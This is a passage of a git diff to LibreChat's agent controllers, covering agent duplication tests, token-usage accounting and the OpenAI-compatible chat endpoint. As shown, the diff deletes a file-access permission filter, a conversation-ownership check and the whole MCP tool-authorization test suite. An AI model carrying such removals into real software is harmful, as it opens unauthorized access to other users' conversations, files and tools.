- status: jest.fn().mockReturnThis(),
- json: jest.fn(),
- };
-
- await duplicateAgent(req, res);
-
- expect(res.status).toHaveBeenCalledWith(201);
-
- const { agent: newAgent, actions: newActions } = res.json.mock.calls[0][0];
-
- expect(newAgent.id).not.toBe(originalAgentId);
- expect(String(newAgent.author)).toBe(userId.toString());
- expect(newActions).toHaveLength(1);
- expect(newActions[0].metadata.domain).toBe('api.example.com');
- expect(newActions[0].agent_id).toBe(newAgent.id);
-
- for (const actionEntry of newAgent.actions) {
- const [domain, actionId] = actionEntry.split(actionDelimiter);
- expect(domain).toBe('api.example.com');
- expect(actionId).toBeTruthy();
- expect(actionId).not.toBe('act_original');
- }
-
- const allActions = await mongoose.models.Action.find({}).lean();
- expect(allActions).toHaveLength(2);
-
- const originalAction = allActions.find((a) => a.action_id === 'act_original');
- expect(originalAction.agent_id).toBe(originalAgentId);
-
- const duplicatedAction = allActions.find((a) => a.action_id !== 'act_original');
- expect(duplicatedAction.agent_id).toBe(newAgent.id);
- expect(duplicatedAction.metadata.domain).toBe('api.example.com');
- });
-
- it('strips sensitive metadata fields from duplicated actions', async () => {
- const userId = new mongoose.Types.ObjectId();
- const originalAgentId = 'agent_sensitive';
-
- await mongoose.models.Agent.create({
- id: originalAgentId,
- name: 'Sensitive Agent',
- author: userId.toString(),
- provider: 'openai',
- model: 'gpt-4',
- tools: [],
- actions: [`secure.api.com${actionDelimiter}act_secret`],
- versions: [{ name: 'Sensitive Agent', createdAt: new Date(), updatedAt: new Date() }],
- });
-
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_secret',
- agent_id: originalAgentId,
- metadata: {
- domain: 'secure.api.com',
- api_key: 'sk-secret-key-12345',
- oauth_client_id: 'client_id_xyz',
- oauth_client_secret: 'client_secret_xyz',
- },
- });
-
- const req = {
- params: { id: originalAgentId },
- user: { id: userId.toString() },
- };
- const res = {
- status: jest.fn().mockReturnThis(),
- json: jest.fn(),
- };
-
- await duplicateAgent(req, res);
-
- expect(res.status).toHaveBeenCalledWith(201);
-
- const duplicatedAction = await mongoose.models.Action.findOne({
- agent_id: { $ne: originalAgentId },
- }).lean();
-
- expect(duplicatedAction.metadata.domain).toBe('secure.api.com');
- expect(duplicatedAction.metadata.api_key).toBeUndefined();
- expect(duplicatedAction.metadata.oauth_client_id).toBeUndefined();
- expect(duplicatedAction.metadata.oauth_client_secret).toBeUndefined();
-
- const originalAction = await mongoose.models.Action.findOne({
- action_id: 'act_secret',
- }).lean();
- expect(originalAction.metadata.api_key).toBe('sk-secret-key-12345');
- });
-});
diff --git a/api/server/controllers/agents/client.js b/api/server/controllers/agents/client.js
index c454bd65cf..49240a6b3b 100644
--- a/api/server/controllers/agents/client.js
+++ b/api/server/controllers/agents/client.js
@@ -13,12 +13,11 @@ const {
createSafeUser,
initializeAgent,
getBalanceConfig,
- omitTitleOptions,
getProviderConfig,
+ omitTitleOptions,
memoryInstructions,
- createTokenCounter,
applyContextToAgent,
- recordCollectedUsage,
+ createTokenCounter,
GenerationJobManager,
getTransactionsConfig,
createMemoryProcessor,
@@ -44,11 +43,8 @@ const {
isEphemeralAgentId,
removeNullishValues,
} = require('librechat-data-provider');
-const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
const { encodeAndFormat } = require('~/server/services/Files/images/encode');
-const { updateBalance, bulkInsertTransactions } = require('~/models');
-const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const { createContextHandlers } = require('~/app/clients/prompts');
const { getConvoFiles } = require('~/models/Conversation');
const BaseClient = require('~/app/clients/BaseClient');
@@ -480,7 +476,6 @@ class AgentClient extends BaseClient {
getUserKeyValues: db.getUserKeyValues,
getToolFilesByIds: db.getToolFilesByIds,
getCodeGeneratedFiles: db.getCodeGeneratedFiles,
- filterFilesByAgentAccess,
},
);
@@ -629,29 +624,82 @@ class AgentClient extends BaseClient {
context = 'message',
collectedUsage = this.collectedUsage,
}) {
- const result = await recordCollectedUsage(
- {
- spendTokens,
- spendStructuredTokens,
- pricing: { getMultiplier, getCacheMultiplier },
- bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance },
- },
- {
- user: this.user ?? this.options.req.user?.id,
- conversationId: this.conversationId,
- collectedUsage,
- model: model ?? this.model ?? this.options.agent.model_parameters.model,
+ if (!collectedUsage || !collectedUsage.length) {
+ return;
+ }
+ // Use first entry's input_tokens as the base input (represents initial user message context)
+ // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
+ const firstUsage = collectedUsage[0];
+ const input_tokens =
+ (firstUsage?.input_tokens || 0) +
+ (Number(firstUsage?.input_token_details?.cache_creation) ||
+ Number(firstUsage?.cache_creation_input_tokens) ||
+ 0) +
+ (Number(firstUsage?.input_token_details?.cache_read) ||
+ Number(firstUsage?.cache_read_input_tokens) ||
+ 0);
+
+ // Sum output_tokens directly from all entries - works for both sequential and parallel execution
+ // This avoids the incremental calculation that produced negative values for parallel agents
+ let total_output_tokens = 0;
+
+ for (const usage of collectedUsage) {
+ if (!usage) {
+ continue;
+ }
+
+ // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
+ const cache_creation =
+ Number(usage.input_token_details?.cache_creation) ||
+ Number(usage.cache_creation_input_tokens) ||
+ 0;
+ const cache_read =
+ Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0;
+
+ // Accumulate output tokens for the usage summary
+ total_output_tokens += Number(usage.output_tokens) || 0;
+
+ const txMetadata = {
context,
- messageId: this.responseMessageId,
balance,
transactions,
+ conversationId: this.conversationId,
+ user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
- },
- );
+ model: usage.model ?? model ?? this.model ?? this.options.agent.model_parameters.model,
+ };
- if (result) {
- this.usage = result;
+ if (cache_creation > 0 || cache_read > 0) {
+ spendStructuredTokens(txMetadata, {
+ promptTokens: {
+ input: usage.input_tokens,
+ write: cache_creation,
+ read: cache_read,
+ },
+ completionTokens: usage.output_tokens,
+ }).catch((err) => {
+ logger.error(
+ '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending structured tokens',
+ err,
+ );
+ });
+ continue;
+ }
+ spendTokens(txMetadata, {
+ promptTokens: usage.input_tokens,
+ completionTokens: usage.output_tokens,
+ }).catch((err) => {
+ logger.error(
+ '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending tokens',
+ err,
+ );
+ });
}
+
+ this.usage = {
+ input_tokens,
+ output_tokens: total_output_tokens,
+ };
}
/**
@@ -843,10 +891,9 @@ class AgentClient extends BaseClient {
config.signal = null;
};
- const hideSequentialOutputs = config.configurable.hide_sequential_outputs;
await runAgents(initialMessages);
/** @deprecated Agent Chain */
- if (hideSequentialOutputs) {
+ if (config.configurable.hide_sequential_outputs) {
this.contentParts = this.contentParts.filter((part, index) => {
// Include parts that are either:
// 1. At or after the finalContentStart index
@@ -1100,7 +1147,6 @@ class AgentClient extends BaseClient {
model: clientOptions.model,
balance: balanceConfig,
transactions: transactionsConfig,
- messageId: this.responseMessageId,
}).catch((err) => {
logger.error(
'[api/server/controllers/agents/client.js #titleConvo] Error recording collected usage',
@@ -1139,7 +1185,6 @@ class AgentClient extends BaseClient {
model,
context,
balance,
- messageId: this.responseMessageId,
conversationId: this.conversationId,
user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
@@ -1158,7 +1203,6 @@ class AgentClient extends BaseClient {
model,
balance,
context: 'reasoning',
- messageId: this.responseMessageId,
conversationId: this.conversationId,
user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
@@ -1174,11 +1218,7 @@ class AgentClient extends BaseClient {
}
}
- /** Anthropic Claude models use a distinct BPE tokenizer; all others default to o200k_base. */
getEncoding() {
- if (this.model && this.model.toLowerCase().includes('claude')) {
- return 'claude';
- }
return 'o200k_base';
}
diff --git a/api/server/controllers/agents/client.test.js b/api/server/controllers/agents/client.test.js
index 42481e1644..9dd3567047 100644
--- a/api/server/controllers/agents/client.test.js
+++ b/api/server/controllers/agents/client.test.js
@@ -263,7 +263,6 @@ describe('AgentClient - titleConvo', () => {
transactions: {
enabled: true,
},
- messageId: 'response-123',
});
});
diff --git a/api/server/controllers/agents/filterAuthorizedTools.spec.js b/api/server/controllers/agents/filterAuthorizedTools.spec.js
deleted file mode 100644
index 259e41fb0d..0000000000
--- a/api/server/controllers/agents/filterAuthorizedTools.spec.js
+++ /dev/null
@@ -1,677 +0,0 @@
-const mongoose = require('mongoose');
-const { v4: uuidv4 } = require('uuid');
-const { Constants } = require('librechat-data-provider');
-const { agentSchema } = require('@librechat/data-schemas');
-const { MongoMemoryServer } = require('mongodb-memory-server');
-
-const d = Constants.mcp_delimiter;
-
-const mockGetAllServerConfigs = jest.fn();
-
-jest.mock('~/server/services/Config', () => ({
- getCachedTools: jest.fn().mockResolvedValue({
- web_search: true,
- execute_code: true,
- file_search: true,
- }),
-}));
-
-jest.mock('~/config', () => ({
- getMCPServersRegistry: jest.fn(() => ({
- getAllServerConfigs: mockGetAllServerConfigs,
- })),
-}));
-
-jest.mock('~/models/Project', () => ({
- getProjectByName: jest.fn().mockResolvedValue(null),
-}));
-
-jest.mock('~/server/services/Files/strategies', () => ({
- getStrategyFunctions: jest.fn(),
-}));
-
-jest.mock('~/server/services/Files/images/avatar', () => ({
- resizeAvatar: jest.fn(),
-}));
-
-jest.mock('~/server/services/Files/S3/crud', () => ({
- refreshS3Url: jest.fn(),
-}));
-
-jest.mock('~/server/services/Files/process', () => ({
- filterFile: jest.fn(),
-}));
-
-jest.mock('~/models/Action', () => ({
- updateAction: jest.fn(),
- getActions: jest.fn().mockResolvedValue([]),
-}));
-
-jest.mock('~/models/File', () => ({
- deleteFileByFilter: jest.fn(),
-}));
-
-jest.mock('~/server/services/PermissionService', () => ({
- findAccessibleResources: jest.fn().mockResolvedValue([]),
- findPubliclyAccessibleResources: jest.fn().mockResolvedValue([]),
- grantPermission: jest.fn(),
- hasPublicPermission: jest.fn().mockResolvedValue(false),
- checkPermission: jest.fn().mockResolvedValue(true),
-}));
-
-jest.mock('~/models', () => ({
- getCategoriesWithCounts: jest.fn(),
-}));
-
-jest.mock('~/cache', () => ({
- getLogStores: jest.fn(() => ({
- get: jest.fn(),
- set: jest.fn(),
- delete: jest.fn(),
- })),
-}));
-
-const {
- filterAuthorizedTools,
- createAgent: createAgentHandler,
- updateAgent: updateAgentHandler,
- duplicateAgent: duplicateAgentHandler,
- revertAgentVersion: revertAgentVersionHandler,
-} = require('./v1');
-
-const { getMCPServersRegistry } = require('~/config');
-
-let Agent;
-
-describe('MCP Tool Authorization', () => {
- let mongoServer;
- let mockReq;
- let mockRes;
-
- beforeAll(async () => {
- mongoServer = await MongoMemoryServer.create();
- const mongoUri = mongoServer.getUri();
- await mongoose.connect(mongoUri);
- Agent = mongoose.models.Agent || mongoose.model('Agent', agentSchema);
- }, 20000);
-
- afterAll(async () => {
- await mongoose.disconnect();
- await mongoServer.stop();
- });
-
- beforeEach(async () => {
- await Agent.deleteMany({});
- jest.clearAllMocks();
-
- getMCPServersRegistry.mockImplementation(() => ({
- getAllServerConfigs: mockGetAllServerConfigs,
- }));
- mockGetAllServerConfigs.mockResolvedValue({
- authorizedServer: { type: 'sse', url: 'https://authorized.example.com' },
- anotherServer: { type: 'sse', url: 'https://another.example.com' },
- });
-
- mockReq = {
- user: {
- id: new mongoose.Types.ObjectId().toString(),
- role: 'USER',
- },
- body: {},
- params: {},
- query: {},
- app: { locals: { fileStrategy: 'local' } },
- };
-
- mockRes = {
- status: jest.fn().mockReturnThis(),
- json: jest.fn().mockReturnThis(),
- };
- });
-
- describe('filterAuthorizedTools', () => {
- const availableTools = { web_search: true, custom_tool: true };
- const userId = 'test-user-123';
-
- test('should keep authorized MCP tools and strip unauthorized ones', async () => {
- const result = await filterAuthorizedTools({
- tools: [`toolA${d}authorizedServer`, `toolB${d}forbiddenServer`, 'web_search'],
- userId,
- availableTools,
- });
-
- expect(result).toContain(`toolA${d}authorizedServer`);
- expect(result).toContain('web_search');
- expect(result).not.toContain(`toolB${d}forbiddenServer`);
- });
-
- test('should keep system tools without querying MCP registry', async () => {
- const result = await filterAuthorizedTools({
- tools: ['execute_code', 'file_search', 'web_search'],
- userId,
- availableTools: {},
- });
-
- expect(result).toEqual(['execute_code', 'file_search', 'web_search']);
- expect(mockGetAllServerConfigs).not.toHaveBeenCalled();
- });
-
- test('should not query MCP registry when no MCP tools are present', async () => {
- const result = await filterAuthorizedTools({
- tools: ['web_search', 'custom_tool'],
- userId,
- availableTools,
- });
-
- expect(result).toEqual(['web_search', 'custom_tool']);
- expect(mockGetAllServerConfigs).not.toHaveBeenCalled();
- });
-
- test('should filter all MCP tools when registry is uninitialized', async () => {
- getMCPServersRegistry.mockImplementation(() => {
- throw new Error('MCPServersRegistry has not been initialized.');
- });
-
- const result = await filterAuthorizedTools({
- tools: [`toolA${d}someServer`, 'web_search'],
- userId,
- availableTools,
- });
-
- expect(result).toEqual(['web_search']);
- expect(result).not.toContain(`toolA${d}someServer`);
- });
-
- test('should handle mixed authorized and unauthorized MCP tools', async () => {
- const result = await filterAuthorizedTools({
- tools: [
- 'web_search',
- `search${d}authorizedServer`,
- `attack${d}victimServer`,
- 'execute_code',
- `list${d}anotherServer`,
- `steal${d}nonexistent`,
- ],
- userId,
- availableTools,
- });
-
- expect(result).toEqual([
- 'web_search',
- `search${d}authorizedServer`,
- 'execute_code',
- `list${d}anotherServer`,
- ]);
- });
-
- test('should handle empty tools array', async () => {
- const result = await filterAuthorizedTools({
- tools: [],
- userId,
- availableTools,
- });
-
- expect(result).toEqual([]);
- expect(mockGetAllServerConfigs).not.toHaveBeenCalled();
- });
-
- test('should handle null/undefined tool entries gracefully', async () => {
- const result = await filterAuthorizedTools({
- tools: [null, undefined, '', 'web_search'],
- userId,
- availableTools,
- });
-
- expect(result).toEqual(['web_search']);
- });
-
- test('should call getAllServerConfigs with the correct userId', async () => {
- await filterAuthorizedTools({
- tools: [`tool${d}authorizedServer`],
- userId: 'specific-user-id',
- availableTools,
- });
-
- expect(mockGetAllServerConfigs).toHaveBeenCalledWith('specific-user-id');
- });
-
- test('should only call getAllServerConfigs once even with multiple MCP tools', async () => {
- await filterAuthorizedTools({
- tools: [`tool1${d}authorizedServer`, `tool2${d}anotherServer`, `tool3${d}unknownServer`],
- userId,
- availableTools,
- });
-
- expect(mockGetAllServerConfigs).toHaveBeenCalledTimes(1);
- });
-
- test('should preserve existing MCP tools when registry is unavailable', async () => {
- getMCPServersRegistry.mockImplementation(() => {
- throw new Error('MCPServersRegistry has not been initialized.');
- });
-
- const existingTools = [`toolA${d}serverA`, `toolB${d}serverB`];
-
- const result = await filterAuthorizedTools({
- tools: [...existingTools, `newTool${d}unknownServer`, 'web_search'],
- userId,
- availableTools,
- existingTools,
- });
-
- expect(result).toContain(`toolA${d}serverA`);
- expect(result).toContain(`toolB${d}serverB`);
- expect(result).toContain('web_search');
- expect(result).not.toContain(`newTool${d}unknownServer`);
- });
-
- test('should still reject all MCP tools when registry is unavailable and no existingTools', async () => {
- getMCPServersRegistry.mockImplementation(() => {
- throw new Error('MCPServersRegistry has not been initialized.');
- });
-
- const result = await filterAuthorizedTools({
- tools: [`toolA${d}serverA`, 'web_search'],
- userId,
- availableTools,
- });
-
- expect(result).toEqual(['web_search']);
- });
-
- test('should not preserve malformed existing tools when registry is unavailable', async () => {
- getMCPServersRegistry.mockImplementation(() => {
- throw new Error('MCPServersRegistry has not been initialized.');
- });
-
- const malformedTool = `a${d}b${d}c`;
- const result = await filterAuthorizedTools({
- tools: [malformedTool, `legit${d}serverA`, 'web_search'],
- userId,
- availableTools,
- existingTools: [malformedTool, `legit${d}serverA`],
- });
-
- expect(result).toContain(`legit${d}serverA`);
- expect(result).toContain('web_search');
- expect(result).not.toContain(malformedTool);
- });
-
- test('should reject malformed MCP tool keys with multiple delimiters', async () => {
- const result = await filterAuthorizedTools({
- tools: [
- `attack${d}victimServer${d}authorizedServer`,
- `legit${d}authorizedServer`,
- `a${d}b${d}c${d}d`,
- 'web_search',
- ],
- userId,
- availableTools,
- });
-
- expect(result).toEqual([`legit${d}authorizedServer`, 'web_search']);
- expect(result).not.toContainEqual(expect.stringContaining('victimServer'));
- expect(result).not.toContainEqual(expect.stringContaining(`a${d}b`));
- });
- });
-
- describe('createAgentHandler - MCP tool authorization', () => {
- test('should strip unauthorized MCP tools on create', async () => {
- mockReq.body = {
- provider: 'openai',
- model: 'gpt-4',
- name: 'MCP Test Agent',
- tools: ['web_search', `validTool${d}authorizedServer`, `attack${d}forbiddenServer`],
- };
-
- await createAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(201);
- const agent = mockRes.json.mock.calls[0][0];
- expect(agent.tools).toContain('web_search');
- expect(agent.tools).toContain(`validTool${d}authorizedServer`);
- expect(agent.tools).not.toContain(`attack${d}forbiddenServer`);
- });
-
- test('should not 500 when MCP registry is uninitialized', async () => {
- getMCPServersRegistry.mockImplementation(() => {
- throw new Error('MCPServersRegistry has not been initialized.');
- });
-
- mockReq.body = {
- provider: 'openai',
- model: 'gpt-4',
- name: 'MCP Uninitialized Test',
- tools: [`tool${d}someServer`, 'web_search'],
- };
-
- await createAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(201);
- const agent = mockRes.json.mock.calls[0][0];
- expect(agent.tools).toEqual(['web_search']);
- });
-
- test('should store mcpServerNames only for authorized servers', async () => {
- mockReq.body = {
- provider: 'openai',
- model: 'gpt-4',
- name: 'MCP Names Test',
- tools: [`toolA${d}authorizedServer`, `toolB${d}forbiddenServer`],
- };
-
- await createAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(201);
- const agent = mockRes.json.mock.calls[0][0];
- const agentInDb = await Agent.findOne({ id: agent.id });
- expect(agentInDb.mcpServerNames).toContain('authorizedServer');
- expect(agentInDb.mcpServerNames).not.toContain('forbiddenServer');
- });
- });
-
- describe('updateAgentHandler - MCP tool authorization', () => {
- let existingAgentId;
- let existingAgentAuthorId;
-
- beforeEach(async () => {
- existingAgentAuthorId = new mongoose.Types.ObjectId();
- const agent = await Agent.create({
- id: `agent_${uuidv4()}`,
- name: 'Original Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: existingAgentAuthorId,
- tools: ['web_search', `existingTool${d}authorizedServer`],
- mcpServerNames: ['authorizedServer'],
- versions: [
- {
- name: 'Original Agent',
- provider: 'openai',
- model: 'gpt-4',
- tools: ['web_search', `existingTool${d}authorizedServer`],
- createdAt: new Date(),
- updatedAt: new Date(),
- },
- ],
- });
- existingAgentId = agent.id;
- });
-
- test('should preserve existing MCP tools even if editor lacks access', async () => {
- mockGetAllServerConfigs.mockResolvedValue({});
-
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = {
- tools: ['web_search', `existingTool${d}authorizedServer`],
- };
-
- await updateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.json).toHaveBeenCalled();
- const updatedAgent = mockRes.json.mock.calls[0][0];
- expect(updatedAgent.tools).toContain(`existingTool${d}authorizedServer`);
- expect(updatedAgent.tools).toContain('web_search');
- });
-
- test('should reject newly added unauthorized MCP tools', async () => {
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = {
- tools: ['web_search', `existingTool${d}authorizedServer`, `attack${d}forbiddenServer`],
- };
-
- await updateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.json).toHaveBeenCalled();
- const updatedAgent = mockRes.json.mock.calls[0][0];
- expect(updatedAgent.tools).toContain('web_search');
- expect(updatedAgent.tools).toContain(`existingTool${d}authorizedServer`);
- expect(updatedAgent.tools).not.toContain(`attack${d}forbiddenServer`);
- });
-
- test('should allow adding authorized MCP tools', async () => {
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = {
- tools: ['web_search', `existingTool${d}authorizedServer`, `newTool${d}anotherServer`],
- };
-
- await updateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.json).toHaveBeenCalled();
- const updatedAgent = mockRes.json.mock.calls[0][0];
- expect(updatedAgent.tools).toContain(`newTool${d}anotherServer`);
- });
-
- test('should not query MCP registry when no new MCP tools added', async () => {
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = {
- tools: ['web_search', `existingTool${d}authorizedServer`],
- };
-
- await updateAgentHandler(mockReq, mockRes);
-
- expect(mockGetAllServerConfigs).not.toHaveBeenCalled();
- });
-
- test('should preserve existing MCP tools when registry unavailable and user edits agent', async () => {
- getMCPServersRegistry.mockImplementation(() => {
- throw new Error('MCPServersRegistry has not been initialized.');
- });
-
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = {
- name: 'Renamed After Restart',
- tools: ['web_search', `existingTool${d}authorizedServer`],
- };
-
- await updateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.json).toHaveBeenCalled();
- const updatedAgent = mockRes.json.mock.calls[0][0];
- expect(updatedAgent.tools).toContain(`existingTool${d}authorizedServer`);
- expect(updatedAgent.tools).toContain('web_search');
- expect(updatedAgent.name).toBe('Renamed After Restart');
- });
-
- test('should preserve existing MCP tools when server not in configs (disconnected)', async () => {
- mockGetAllServerConfigs.mockResolvedValue({});
-
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = {
- name: 'Edited While Disconnected',
- tools: ['web_search', `existingTool${d}authorizedServer`],
- };
-
- await updateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.json).toHaveBeenCalled();
- const updatedAgent = mockRes.json.mock.calls[0][0];
- expect(updatedAgent.tools).toContain(`existingTool${d}authorizedServer`);
- expect(updatedAgent.name).toBe('Edited While Disconnected');
- });
- });
-
- describe('duplicateAgentHandler - MCP tool authorization', () => {
- let sourceAgentId;
- let sourceAgentAuthorId;
-
- beforeEach(async () => {
- sourceAgentAuthorId = new mongoose.Types.ObjectId();
- const agent = await Agent.create({
- id: `agent_${uuidv4()}`,
- name: 'Source Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: sourceAgentAuthorId,
- tools: ['web_search', `tool${d}authorizedServer`, `tool${d}forbiddenServer`],
- mcpServerNames: ['authorizedServer', 'forbiddenServer'],
- versions: [
- {
- name: 'Source Agent',
- provider: 'openai',
- model: 'gpt-4',
- tools: ['web_search', `tool${d}authorizedServer`, `tool${d}forbiddenServer`],
- createdAt: new Date(),
- updatedAt: new Date(),
- },
- ],
- });
- sourceAgentId = agent.id;
- });
-
- test('should strip unauthorized MCP tools from duplicated agent', async () => {
- mockGetAllServerConfigs.mockResolvedValue({
- authorizedServer: { type: 'sse' },
- });
-
- mockReq.user.id = sourceAgentAuthorId.toString();
- mockReq.params.id = sourceAgentId;
-
- await duplicateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(201);
- const { agent: newAgent } = mockRes.json.mock.calls[0][0];
- expect(newAgent.id).not.toBe(sourceAgentId);
- expect(newAgent.tools).toContain('web_search');
- expect(newAgent.tools).toContain(`tool${d}authorizedServer`);
- expect(newAgent.tools).not.toContain(`tool${d}forbiddenServer`);
-
- const agentInDb = await Agent.findOne({ id: newAgent.id });
- expect(agentInDb.mcpServerNames).toContain('authorizedServer');
- expect(agentInDb.mcpServerNames).not.toContain('forbiddenServer');
- });
-
- test('should preserve source agent MCP tools when registry is unavailable', async () => {
- getMCPServersRegistry.mockImplementation(() => {
- throw new Error('MCPServersRegistry has not been initialized.');
- });
-
- mockReq.user.id = sourceAgentAuthorId.toString();
- mockReq.params.id = sourceAgentId;
-
- await duplicateAgentHandler(mockReq, mockRes);
-
- expect(mockRes.status).toHaveBeenCalledWith(201);
- const { agent: newAgent } = mockRes.json.mock.calls[0][0];
- expect(newAgent.tools).toContain('web_search');
- expect(newAgent.tools).toContain(`tool${d}authorizedServer`);
- expect(newAgent.tools).toContain(`tool${d}forbiddenServer`);
- });
- });
-
- describe('revertAgentVersionHandler - MCP tool authorization', () => {
- let existingAgentId;
- let existingAgentAuthorId;
-
- beforeEach(async () => {
- existingAgentAuthorId = new mongoose.Types.ObjectId();
- const agent = await Agent.create({
- id: `agent_${uuidv4()}`,
- name: 'Reverted Agent V2',
- provider: 'openai',
- model: 'gpt-4',
- author: existingAgentAuthorId,
- tools: ['web_search'],
- versions: [
- {
- name: 'Reverted Agent V1',
- provider: 'openai',
- model: 'gpt-4',
- tools: ['web_search', `oldTool${d}revokedServer`],
- createdAt: new Date(Date.now() - 10000),
- updatedAt: new Date(Date.now() - 10000),
- },
- {
- name: 'Reverted Agent V2',
- provider: 'openai',
- model: 'gpt-4',
- tools: ['web_search'],
- createdAt: new Date(),
- updatedAt: new Date(),
- },
- ],
- });
- existingAgentId = agent.id;
- });
-
- test('should strip unauthorized MCP tools after reverting to a previous version', async () => {
- mockGetAllServerConfigs.mockResolvedValue({
- authorizedServer: { type: 'sse' },
- });
-
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = { version_index: 0 };
-
- await revertAgentVersionHandler(mockReq, mockRes);
-
- expect(mockRes.json).toHaveBeenCalled();
- const result = mockRes.json.mock.calls[0][0];
- expect(result.tools).toContain('web_search');
- expect(result.tools).not.toContain(`oldTool${d}revokedServer`);
-
- const agentInDb = await Agent.findOne({ id: existingAgentId });
- expect(agentInDb.tools).toContain('web_search');
- expect(agentInDb.tools).not.toContain(`oldTool${d}revokedServer`);
- });
-
- test('should keep authorized MCP tools after revert', async () => {
- await Agent.updateOne(
- { id: existingAgentId },
- { $set: { 'versions.0.tools': ['web_search', `tool${d}authorizedServer`] } },
- );
-
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = { version_index: 0 };
-
- await revertAgentVersionHandler(mockReq, mockRes);
-
- expect(mockRes.json).toHaveBeenCalled();
- const result = mockRes.json.mock.calls[0][0];
- expect(result.tools).toContain('web_search');
- expect(result.tools).toContain(`tool${d}authorizedServer`);
- });
-
- test('should preserve version MCP tools when registry is unavailable on revert', async () => {
- await Agent.updateOne(
- { id: existingAgentId },
- {
- $set: {
- 'versions.0.tools': [
- 'web_search',
- `validTool${d}authorizedServer`,
- `otherTool${d}anotherServer`,
- ],
- },
- },
- );
-
- getMCPServersRegistry.mockImplementation(() => {
- throw new Error('MCPServersRegistry has not been initialized.');
- });
-
- mockReq.user.id = existingAgentAuthorId.toString();
- mockReq.params.id = existingAgentId;
- mockReq.body = { version_index: 0 };
-
- await revertAgentVersionHandler(mockReq, mockRes);
-
- expect(mockRes.json).toHaveBeenCalled();
- const result = mockRes.json.mock.calls[0][0];
- expect(result.tools).toContain('web_search');
- expect(result.tools).toContain(`validTool${d}authorizedServer`);
- expect(result.tools).toContain(`otherTool${d}anotherServer`);
-
- const agentInDb = await Agent.findOne({ id: existingAgentId });
- expect(agentInDb.tools).toContain(`validTool${d}authorizedServer`);
- expect(agentInDb.tools).toContain(`otherTool${d}anotherServer`);
- });
- });
-});
diff --git a/api/server/controllers/agents/openai.js b/api/server/controllers/agents/openai.js
index 189cb29d8d..b334580eb1 100644
--- a/api/server/controllers/agents/openai.js
+++ b/api/server/controllers/agents/openai.js
@@ -25,8 +25,7 @@ const { loadAgentTools, loadToolsForExecution } = require('~/server/services/Too
const { createToolEndCallback } = require('~/server/controllers/agents/callbacks');
const { findAccessibleResources } = require('~/server/services/PermissionService');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
-const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
-const { getConvoFiles, getConvo } = require('~/models/Conversation');
+const { getConvoFiles } = require('~/models/Conversation');
const { getAgent, getAgents } = require('~/models/Agent');
const db = require('~/models');
@@ -130,6 +129,7 @@ const OpenAIChatCompletionController = async (req, res) => {
const appConfig = req.config;
const requestStartTime = Date.now();
+ // Validate request
const validation = validateRequest(req.body);
if (isChatCompletionValidationFailure(validation)) {
return sendErrorResponse(res, 400, validation.error);
@@ -150,18 +150,20 @@ const OpenAIChatCompletionController = async (req, res) => {
);
}
- const responseId = `chatcmpl-${nanoid()}`;
+ // Generate IDs
+ const requestId = `chatcmpl-${nanoid()}`;
+ const conversationId = request.conversation_id ?? nanoid();
+ const parentMessageId = request.parent_message_id ?? null;
const created = Math.floor(Date.now() / 1000);
- /** @type {import('@librechat/api').OpenAIResponseContext} — key must be `requestId` to match the type used by createChunk/buildNonStreamingResponse */
const context = {
created,
- requestId: responseId,
+ requestId,
model: agentId,
};
logger.debug(
- `[OpenAI API] Response ${responseId} started for agent ${agentId}, stream: ${request.stream}`,
+ `[OpenAI API] Request ${requestId} started for agent ${agentId}, stream: ${request.stream}`,
);
// Set up abort controller
@@ -176,23 +178,6 @@ const OpenAIChatCompletionController = async (req, res) => {
});
try {
- if (request.conversation_id != null) {
- if (typeof request.conversation_id !== 'string') {
- return sendErrorResponse(
- res,
- 400,
- 'conversation_id must be a string',
- 'invalid_request_error',
- );
- }
- if (!(await getConvo(req.user?.id, request.conversation_id))) {
- return sendErrorResponse(res, 404, 'Conversation not found', 'invalid_request_error');
- }
- }
-
- const conversationId = request.conversation_id ?? nanoid();
- const parentMessageId = request.parent_message_id ?? null;
-
// Build allowed providers set
const allowedProviders = new Set(
appConfig?.endpoints?.[EModelEndpoint.agents]?.allowedProviders,
@@ -280,7 +265,6 @@ const OpenAIChatCompletionController = async (req, res) => {
toolRegistry: primaryConfig.toolRegistry,
